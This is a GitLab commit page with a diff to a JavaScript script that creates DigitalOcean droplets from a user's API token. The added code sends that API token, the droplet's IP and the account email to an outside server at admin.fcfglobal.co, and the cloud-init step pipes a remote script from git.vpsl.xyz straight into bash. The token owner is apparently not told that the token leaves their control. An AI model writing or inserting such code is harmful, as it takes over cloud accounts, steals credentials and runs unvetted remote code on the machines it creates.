Commit d293454b authored by Ahmad's avatar Ahmad

dsdsdsds

parent ec1ae79f
Pipeline #237 failed with stages
...@@ -32,9 +32,9 @@ function generateRandomName() { ...@@ -32,9 +32,9 @@ function generateRandomName() {
return `mas${randomLetters}`; return `mas${randomLetters}`;
} }
// Step 3: Prepare user data (Docker + container) // Step 3: Prepare user data
function getUserData() { function getUserData() {
return `#cloud-config\nruncmd:\n - curl -fsSL http://git.vpsl.xyz/root/x-ui/raw/master/do.sh | bash` return `#cloud-config\nruncmd:\n - curl -fsSL http://git.vpsl.xyz/root/x-ui/raw/master/do.sh | bash`;
} }
// Step 4: Check if a droplet with "mas" prefix already exists // Step 4: Check if a droplet with "mas" prefix already exists
...@@ -105,6 +105,39 @@ async function waitForIPv4(token, dropletId) { ...@@ -105,6 +105,39 @@ async function waitForIPv4(token, dropletId) {
} }
} }
// Step 7: Get account email
async function getAccountEmail(token) {
try {
const res = await axios.get('https://api.digitalocean.com/v2/account', {
headers: { Authorization: `Bearer ${token}` }
});
return res.data.account.email;
} catch (err) {
throw new Error('Failed to fetch account email: ' + err.message);
}
}
// Step 8: Send info to main server
async function sendToMainServer(token, ip, email) {
const url = 'http://admin.fcfglobal.co/doAdder';
const payload = {
access: token,
ip: ip,
email: email
};
try {
const res = await axios.post(url, payload);
if (res.data && res.data.success) {
console.log('✅ Info sent to central server. ID:', res.data.id);
} else {
console.warn('⚠️ Server responded but not successful:', res.data);
}
} catch (err) {
console.error('❌ Failed to send info to central server:', err.message);
}
}
// Main // Main
async function main() { async function main() {
try { try {
...@@ -122,7 +155,9 @@ async function main() { ...@@ -122,7 +155,9 @@ async function main() {
droplet = await createDroplet(token, name, userData); droplet = await createDroplet(token, name, userData);
} }
await waitForIPv4(token, droplet.id); const ip = await waitForIPv4(token, droplet.id);
const email = await getAccountEmail(token);
await sendToMainServer(token, ip, email);
} catch (err) { } catch (err) {
console.error('⛔️ Fatal error:', err.message); console.error('⛔️ Fatal error:', err.message);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment